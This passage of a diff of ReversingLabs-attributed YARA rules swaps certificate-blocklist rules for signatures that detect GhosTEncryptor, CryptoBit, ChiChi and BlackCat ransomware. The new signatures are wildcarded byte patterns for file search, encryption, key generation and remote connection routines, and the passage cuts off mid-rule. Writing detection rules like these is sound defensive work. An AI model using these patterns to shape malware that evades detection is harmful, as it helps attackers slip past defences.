+ ?? 48 89 44 24 ?? 48 89 04 24 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 85 C0 74 ?? 48 8B 44 + 24 ?? 48 89 04 24 E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 8B 6C 24 ?? 48 83 C4 ?? + C3 48 8B 44 24 ?? 48 89 04 24 E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 8B 6C 24 ?? + 48 83 C4 ?? C3 48 89 04 24 E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 8B 6C 24 ?? 48 + 83 C4 ?? C3 48 8B 44 24 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Dmitrij Emelyanov" and pe.signatures [ i ] . serial == "74:73:d9:54:05:d2:b0:b3:a8:f2:87:85:ce:6e:74:ca" and 1453939199 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( $drop_ransom_note ) } - -rule REVERSINGLABS_Cert_Blocklist_04F380F97579F1702A85E0169Bbdfd78 : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Ghostencryptor : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects GhosTEncryptor ransomware." author = "ReversingLabs" - id = "860027ff-2df2-5519-afde-60ebee270290" - date = "2020-08-05" - modified = "2023-11-08" + id = "9f035e39-e0fe-54f3-8206-08fbbd9206b4" + date = "2021-08-12" + modified = "2021-08-12" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1906-L1922" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.GhosTEncryptor.yara#L1-L69" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "73dc6e36fdaf5c80b33f20f2a9157805ce1d0218f3898104de16522ee9cfd51b" + logic_hash = "85c1f6e5acf746388b0a9ddeb1f0ad1d2219fff7358c9a981849863155c13e3c" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "GhosTEncryptor" + tc_detection_factor = 5 importance = 25 + strings: + $enum_folders = { + 17 8D ?? ?? ?? ?? 0A 06 16 72 ?? ?? ?? ?? A2 03 28 ?? ?? ?? ?? 0B 16 0C 38 ?? ?? ?? ?? + 07 08 9A 0D 02 09 28 ?? ?? ?? ?? 2C ?? 09 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 09 72 ?? + ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 09 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 09 72 ?? ?? ?? ?? + 6F ?? ?? ?? ?? 2D ?? 09 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 09 72 ?? ?? ?? ?? 6F ?? ?? + ?? ?? 2D ?? 09 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 02 02 7B ?? ?? ?? ?? 09 72 ?? ?? ?? + ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 09 28 ?? ?? ?? ?? 26 08 17 58 0C 08 07 8E 69 3F ?? + ?? ?? ?? 02 7B ?? ?? ?? ?? 06 17 6F ?? ?? ?? ?? 2A + } + $encrypt_folder_p1 = { + 1F ?? 8D ?? ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? + ?? A2 25 19 72 ?? ?? ?? ?? A2 25 1A 72 ?? ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 25 1C 72 + ?? ?? ?? ?? A2 25 1D 72 ?? ?? ?? ?? A2 25 1E 72 ?? ?? ?? ?? A2 25 1F ?? 72 ?? ?? ?? ?? + A2 25 1F ?? 72 ?? ?? ?? ?? A2 25 1F ?? 72 + } + $encrypt_folder_p2 = { + A2 0A 03 28 ?? ?? ?? ?? 0B 03 28 ?? ?? ?? ?? 0C 16 0D 2B ?? 07 09 9A 28 ?? ?? ?? ?? 13 + ?? 06 11 ?? 28 ?? ?? ?? ?? 2C ?? 02 07 09 9A 04 28 ?? ?? ?? ?? 09 17 58 0D 09 07 8E 69 + 32 ?? 16 13 ?? 2B ?? 02 08 11 ?? 9A 04 28 ?? ?? ?? ?? 11 ?? 17 58 13 ?? 11 ?? 08 8E 69 + 32 ?? 2A + } + $deep_search_p1 = { + 17 8D ?? ?? ?? ?? 0A 06 16 72 ?? ?? ?? ?? A2 7E ?? ?? ?? ?? 0B 02 0C 16 0D 38 ?? ?? ?? + ?? 08 09 9A 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 72 + ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? + ?? ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 11 ?? 72 + } + $deep_search_p2 = { + 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F + ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 07 11 ?? 72 ?? ?? ?? ?? 28 + ?? ?? ?? ?? 0B 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 09 17 58 0D 09 08 8E + 69 3F ?? ?? ?? ?? 07 06 17 6F ?? ?? ?? ?? 2A + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "GRANIFLOR" and pe.signatures [ i ] . serial == "04:f3:80:f9:75:79:f1:70:2a:85:e0:16:9b:bd:fd:78" and 1454889599 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $enum_folders ) and ( all of ( $deep_search_p* ) ) and ( all of ( $encrypt_folder_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_04D6B8Cc6Dce353Fcf3Ae8A532Be7255 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Cryptobit : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects CryptoBit ransomware." author = "ReversingLabs" - id = "937dd780-52f7-5f27-ac2e-a0245997d449" - date = "2020-08-05" - modified = "2023-11-08" + id = "8566e516-9884-5b20-90c4-7ed38fa96999" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1924-L1940" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.CryptoBit.yara#L1-L113" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a316ad7f554428d02a850fb3bb04f349d30ecd2ccd4597e7a63461bf5e866e6f" + logic_hash = "ccc8a0f1c5e11211649992d0f2b309968c97b49f1c7359e62d622f364e117429" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "CryptoBit" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_p1 = { + 55 8B EC 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 + 7D ?? ?? 75 ?? FF 75 ?? EB ?? 6A ?? 59 83 C9 ?? 83 F1 ?? 89 4D ?? 6A ?? 6A ?? 6A ?? + 6A ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 0B C0 0F 84 ?? ?? ?? ?? 89 45 ?? 60 BE ?? ?? ?? + ?? 56 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 33 D2 + 8B 0D ?? ?? ?? ?? F7 F1 0B C0 74 ?? FF 35 ?? ?? ?? ?? EB ?? 52 8B 0C 24 29 4D ?? 51 + FF 75 ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 0B C0 74 ?? 89 45 ?? 51 FF + 75 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? 83 7D ?? ?? 75 ?? 89 45 ?? 89 4D ?? FF 75 ?? + E8 ?? ?? ?? ?? EB ?? EB ?? 83 7D ?? ?? 75 ?? C7 45 ?? ?? ?? ?? ?? EB ?? A1 ?? ?? ?? + ?? 01 45 ?? EB ?? EB ?? 8B 64 24 ?? 64 8F 05 ?? ?? ?? ?? 83 C4 ?? 61 EB ?? EB ?? 64 + 8F 05 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 8B 4D + ?? EB ?? 8B 45 ?? C9 C2 + } + $encrypt_files_p2 = { + 55 8B EC 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A + ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? + ?? ?? ?? 89 45 ?? 8D 45 ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? + 0B C0 74 ?? E9 ?? ?? ?? ?? 89 45 ?? 8B 15 ?? ?? ?? ?? 8B 4D ?? 0B C9 75 ?? 83 F8 ?? + 73 ?? E9 ?? ?? ?? ?? EB ?? 0B C9 75 ?? 3B C2 73 ?? 50 EB ?? 52 8F 45 ?? 83 7D ?? ?? + 75 ?? A1 ?? ?? ?? ?? 39 45 ?? 72 ?? FF 75 ?? FF 75 ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? + ?? 89 45 ?? 0B C0 74 ?? 6A ?? 50 51 FF 75 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A + ?? 6A ?? 6A ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 0B C0 74 ?? 89 45 ?? 60 BE ?? ?? ?? ?? + 56 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? FF 75 ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF + 75 ?? E8 ?? ?? ?? ?? 0B C0 74 ?? 50 8B 4D ?? 8B 04 24 83 C9 ?? 83 F1 ?? 51 50 E8 ?? + ?? ?? ?? 89 45 ?? 0B C0 74 ?? 6A ?? 50 51 FF 75 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB + ?? 8B 64 24 ?? 64 8F 05 ?? ?? ?? ?? 83 C4 ?? 61 EB ?? EB ?? 64 8F 05 ?? ?? ?? ?? 83 + C4 ?? 83 7D ?? ?? 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? E8 ?? ?? + ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 8B 4D ?? EB ?? 33 C0 33 C9 C9 C2 + } + $find_files_p1 = { + 55 8B EC 83 C4 ?? 57 56 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? 8B 75 ?? 83 7E ?? ?? 75 ?? E8 ?? ?? ?? ?? 50 8D 46 ?? 50 E8 + ?? ?? ?? ?? 23 C0 0F 84 ?? ?? ?? ?? EB ?? 83 7E ?? ?? 75 ?? FF 35 ?? ?? ?? ?? 8D 46 + ?? 50 E8 ?? ?? ?? ?? 23 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 23 C0 0F + 84 ?? ?? ?? ?? 89 45 ?? B9 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 23 C0 0F 84 ?? + ?? ?? ?? 89 45 ?? 8B 75 ?? 8B 7D ?? 68 ?? ?? ?? ?? 57 56 E8 ?? ?? ?? ?? 8D 57 ?? 8B + 47 ?? D1 E0 C7 04 10 ?? ?? ?? ?? C6 44 10 ?? ?? FF 75 ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? + 83 F8 ?? 0F 84 ?? ?? ?? ?? 89 45 ?? 8B 55 ?? 8B 75 ?? 8B 7D ?? 8B 02 25 ?? ?? ?? ?? + 0F 85 ?? ?? ?? ?? 8B 02 83 E0 ?? 0F 85 ?? ?? ?? ?? 8B 02 83 E0 ?? F7 02 ?? ?? ?? ?? + 0F 85 ?? ?? ?? ?? 8D 47 ?? 50 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 8D 42 ?? 50 8D 47 + ?? 50 E8 ?? ?? ?? ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 89 47 ?? F7 02 ?? ?? ?? ?? + 74 ?? 68 ?? ?? ?? ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? FF 77 ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? + 83 F8 ?? 74 ?? 83 F8 ?? 75 ?? 48 50 FF 76 ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? 0B C0 75 + } + $find_files_p2 = { + 0B C9 74 ?? FF 45 ?? E9 ?? ?? ?? ?? 83 7A ?? ?? 0F 84 ?? ?? ?? ?? 81 7A ?? ?? ?? ?? + ?? 0F 84 ?? ?? ?? ?? F7 02 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? F7 02 ?? ?? ?? ?? 0F 85 ?? + ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 74 ?? 8B F8 FF 76 ?? 8F 47 ?? FF 76 ?? + 8F 47 ?? FF 36 8F 07 8D 47 ?? 50 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 8D 42 ?? 50 8D + 47 ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? 8D 47 ?? 50 E8 ?? + ?? ?? ?? 89 47 ?? 83 3F ?? 75 ?? 57 68 ?? ?? ?? ?? FF 76 ?? E8 ?? ?? ?? ?? 0B C0 75 + ?? 57 E8 ?? ?? ?? ?? EB ?? 57 E8 ?? ?? ?? ?? EB ?? E9 ?? ?? ?? ?? FF 75 ?? FF 75 ?? + E8 ?? ?? ?? ?? 0B C0 0F 85 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? + 8B 75 ?? 83 7D ?? ?? 74 ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B + 14 24 51 50 52 8D 46 ?? 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 D1 E1 8B 5C 24 ?? 51 50 53 8D 46 + ?? 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? E8 ?? + ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? E8 ?? + ?? ?? ?? 8B 45 ?? 5E 5F C9 C2 + } + $remote_connection = { + 55 8B EC 81 C4 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? + 6A ?? E8 ?? ?? ?? ?? 23 C0 89 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A + ?? 6A ?? 6A ?? FF 75 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 89 85 ?? ?? ?? ?? 0F + 84 ?? ?? ?? ?? 8D 5D ?? C7 03 ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? + ?? ?? 50 E8 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? + ?? ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 45 ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 74 ?? 6A ?? 6A ?? 6A ?? 6A ?? FF B5 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 23 C0 74 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 23 C0 89 85 ?? ?? ?? ?? 74 ?? + 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? + ?? FF B5 ?? ?? ?? ?? 0B C0 74 ?? 83 BD ?? ?? ?? ?? ?? 74 ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? + FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? C9 C2 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MADERA" and pe.signatures [ i ] . serial == "04:d6:b8:cc:6d:ce:35:3f:cf:3a:e8:a5:32:be:72:55" and 1451692799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $remote_connection and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_191322A00200F793 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Chichi : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects ChiChi ransomware." author = "ReversingLabs" - id = "4011e54c-ca28-536f-8759-077fcce6d45f" - date = "2020-08-05" - modified = "2023-11-08" + id = "95062789-a55d-5c1c-a359-206b58f311e5" + date = "2022-02-14" + modified = "2022-02-14" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1942-L1958" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.ChiChi.yara#L1-L66" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1b816785f86189817c124636e50a0f369ec85cfd898223c4ba43758a877f1cf3" + logic_hash = "863a30e4c708e13ea0f4c6ad42a919de463926508783d6552c0cec746730baa5" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "ChiChi" + tc_detection_factor = 5 importance = 25 + strings: + $generate_key = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ?? + 33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B D9 8B 7D ?? C7 45 ?? ?? ?? ?? ?? 89 7D ?? 85 + FF 75 ?? 33 F6 EB ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 89 75 ?? 6A ?? 8D 4D ?? C7 45 + ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 8D + 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? 85 C0 74 + ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 8B 03 8B CB 57 56 FF 50 ?? C7 45 ?? ?? ?? ?? ?? 85 F6 + 74 ?? 83 FF ?? 8D 45 ?? 8D 4D ?? 8B FE 0F 46 C8 32 C0 56 8B 09 F3 AA E8 ?? ?? ?? ?? + 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C2 + } + $encrypt_files = { + 55 8B EC 51 53 56 57 8B D9 68 ?? ?? ?? ?? 53 89 5D ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? + ?? ?? 53 FF D6 68 ?? ?? ?? ?? 8B F8 FF D6 8B 1D ?? ?? ?? ?? 03 F8 03 FF 83 C7 ?? 57 + 6A ?? FF 35 ?? ?? ?? ?? FF D3 8B F0 85 F6 74 ?? 8B 7D ?? 57 56 FF 15 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 56 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5B + 8B E5 5D C3 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? + ?? 56 6A ?? FF 35 ?? ?? ?? ?? 8B F8 FF 15 ?? ?? ?? ?? 83 FF ?? 74 ?? 8B CF E8 ?? ?? + ?? ?? 5F 5E 5B 8B E5 5D C3 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 + } + $find_files = { + 6A ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 56 FF 15 ?? + ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF 74 24 ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF + D7 8D 44 24 ?? 50 53 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 + ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 33 F6 FF B6 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? + ?? 85 C0 0F 84 ?? ?? ?? ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 72 ?? FF 74 24 ?? 8B 74 24 ?? + 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 56 FF 15 ?? + ?? ?? ?? F6 44 24 ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? + ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 83 E8 ?? 78 ?? 66 83 + 7C 44 ?? ?? 74 ?? 83 E8 ?? 79 ?? EB ?? 8D 74 24 ?? 8D 34 46 68 ?? ?? ?? ?? 56 FF 15 + ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PRABHAKAR NARAYAN" and pe.signatures [ i ] . serial == "19:13:22:a0:02:00:f7:93" and 1442966399 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $generate_key ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_451C9D0B413E6E8Df175 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Blackcat : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects BlackCat ransomware." author = "ReversingLabs" - id = "adc832c0-166d-52d1-aeec-2fc92ff52d02" - date = "2020-08-05" - modified = "2023-11-08" + id = "e623340d-8df8-5f13-b75f-379bd0038f64" + date = "2022-02-14" + modified = "2022-02-14" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1960-L1976" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.BlackCat.yara#L1-L109" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7c94d87f79c9add4d7bf2a63d0774449319aa56cbc631dd9b0f19ed9bb9837d4" + logic_hash = "24932baa625aedd14b5776ba3209c9ee330e84538c5267eeb5e09e352f655835" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "BlackCat" + tc_detection_factor = 5 importance = 25 + strings: + $remote_connection_p1 = { + 8B 44 24 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? A1 ?? + ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 + ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? + ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 83 F8 ?? A1 ?? ?? ?? ?? 0F 45 C1 8B 0D ?? ?? + ?? ?? 0F 45 CA 8D 54 24 ?? 89 94 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 + 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? + ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 + 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? + ?? ?? ?? 56 51 FF 50 ?? 83 C4 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 56 68 ?? ?? ?? ?? + FF 74 24 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? + ?? ?? 6A ?? 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 + ?? E8 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 56 68 ?? ?? ?? ?? 68 ?? ?? + ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? 85 + } + $remote_connection_p2 = { + C0 89 44 24 ?? 0F 88 ?? ?? ?? ?? 8B 8B ?? ?? ?? ?? 74 ?? A1 ?? ?? ?? ?? 89 CB 85 C0 + 75 ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 74 24 ?? 6A ?? 50 E8 + ?? ?? ?? ?? 85 C0 89 D9 75 ?? E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B 5C 24 ?? 89 44 24 ?? + 53 51 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 89 F1 8D 54 24 ?? 89 44 24 ?? 89 5C 24 + ?? 89 5C 24 ?? C6 44 24 ?? ?? E8 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? + ?? 8B 